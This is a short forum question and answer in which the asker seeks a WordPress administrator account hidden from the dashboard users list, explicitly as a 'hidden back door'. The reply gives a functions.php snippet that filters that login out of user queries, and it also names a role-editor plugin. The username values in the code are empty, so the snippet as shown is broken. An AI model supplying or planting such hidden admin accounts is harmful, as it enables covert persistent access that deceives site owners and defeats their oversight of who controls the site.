I\'d like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins
You can do this with a custom function in your functions.php
.
Here is an example :
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == '') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != ''",$user_search->query_where);
}
}
Or you can use a plugin for this; http://wordpress.org/plugins/user-role-editor/